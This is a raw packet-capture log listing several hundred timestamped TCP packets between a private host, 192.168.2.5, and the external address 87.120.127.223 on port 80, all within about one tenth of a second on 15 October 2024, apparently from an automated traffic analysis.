Oct 15, 2024 19:22:28.750612974 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.750631094 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.750641108 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.750648022 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.750668049 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.750684977 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.750701904 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.750732899 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.750821114 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.750837088 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.750853062 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.750869989 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.750866890 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.750885010 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.750905991 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.750931025 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.751135111 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.751159906 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.751173973 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.751190901 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.751207113 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.751219034 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.751224041 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.751243114 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.751264095 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.751580954 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.751667976 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.751683950 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.751719952 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.751723051 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.751739979 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.751755953 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.751770020 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.751771927 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.751794100 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.751943111 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.751957893 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.751975060 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.751991034 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.751993895 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.752008915 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.752022028 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.752024889 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.752042055 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.752048969 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.752058983 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.752074957 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.752099037 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.752126932 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.752235889 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.752250910 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.752266884 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.752283096 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.752290964 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.752299070 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.752315044 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.752330065 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.752334118 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.752350092 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.752372026 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.752399921 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.753184080 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.753201962 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.753217936 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.753248930 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.753283024 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.753299952 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.753315926 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.753331900 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.753345966 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.753356934 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.753454924 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.753479004 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.753504038 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.753518105 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.753532887 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.753549099 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.753559113 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.753565073 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.753580093 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.753597021 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.753603935 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.753612995 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.753642082 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.753664970 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.753859043 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.753875017 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.753890038 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.753905058 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.753921032 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.753936052 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.753941059 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.753952026 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.753967047 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.753979921 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.753982067 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.753998041 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.754014969 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.754020929 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.754031897 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.754045963 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.754071951 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.757765055 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.757781029 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.757796049 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.757843018 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.757847071 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.757859945 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.757877111 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.757882118 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.757894039 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.757916927 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.757997036 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.758013010 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.758028030 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.758054018 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.758055925 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.758069992 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.758085012 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.758090019 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.758100986 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.758115053 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.758119106 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.758156061 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.758217096 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.758258104 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.758378983 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.758395910 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.758410931 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.758425951 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.758438110 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.758443117 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.758459091 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.758466005 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.758475065 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.758491039 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.758498907 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.758506060 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.758522987 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.758538961 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.758544922 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.758554935 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.758569956 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.758599997 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.758661032 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.758776903 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.758799076 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.758821964 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.758842945 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.758846998 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.758867025 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.758867025 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.758904934 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.758972883 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.758995056 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.759015083 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.759036064 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.759036064 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.759071112 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.759074926 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.759092093 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.759113073 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.759135962 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.759155989 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.759157896 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.759177923 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.759180069 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.759202003 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.759222984 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.759244919 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.759247065 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.759267092 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.759270906 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.759289026 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.759305000 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.759310961 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.759334087 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.759356022 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.759378910 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.759401083 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.759696007 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.759717941 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.759738922 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.759773016 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.759784937 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.759793997 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.759816885 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.759820938 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.759840012 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.759856939 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.759861946 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.759884119 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.759905100 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.759922028 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.759926081 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.759946108 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.759947062 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.759969950 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.759991884 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.760014057 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.760035038 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.760056019 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.760057926 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.760080099 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.760082960 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.760102987 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.760126114 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.760148048 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.760168076 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.760168076 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.760190964 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.760195017 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.760212898 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.760220051 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.760235071 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.760257959 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.760278940 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.760299921 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.760373116 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.760395050 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.760416985 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.760441065 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.760562897 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.760585070 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.760607958 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.760611057 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.760629892 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.760648012 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.760652065 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.760673046 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.760698080 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.760699034 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.760730982 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.760752916 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.760772943 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.760773897 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.760796070 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.760797977 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.760818005 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.760833979 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.760839939 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.760860920 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.760883093 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.760900021 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.760905027 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.760922909 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.760926962 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.760948896 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.760971069 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.760988951 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.760991096 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.761012077 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.761014938 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.761034012 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.761096001 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.771307945 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.771343946 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.771367073 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.822541952 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.839632988 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.839695930 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.839803934 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.839811087 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.839864016 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.839898109 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.839930058 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.839956045 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.839963913 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.839988947 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.839994907 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.840029955 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.840064049 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.840086937 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.840096951 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.840117931 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.840151072 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.840183020 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.840215921 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.840239048 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.840245008 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.840267897 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.840277910 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.840312004 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.840343952 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.840358019 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.840378046 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.840392113 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.840410948 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.840441942 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.840483904 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.843935966 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.844022989 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.844119072 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.844149113 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.844194889 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.844213963 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.844228029 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.844280005 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.844314098 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.844330072 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.844346046 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.844358921 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.844398975 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.844428062 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.844461918 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.844475985 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.844507933 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.844513893 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.844547987 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.844579935 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.844625950 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.844860077 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.844896078 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.844911098 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.853862047 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.853916883 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.853933096 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.853969097 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.854001999 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.854034901 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.854059935 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.854068995 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.854104996 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.854372025 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.854406118 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.854439974 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.854443073 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.854475975 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.854525089 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.854528904 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.854562044 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.854584932 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.854595900 CEST	80	49761	87.120.127.223	192.168.2.5
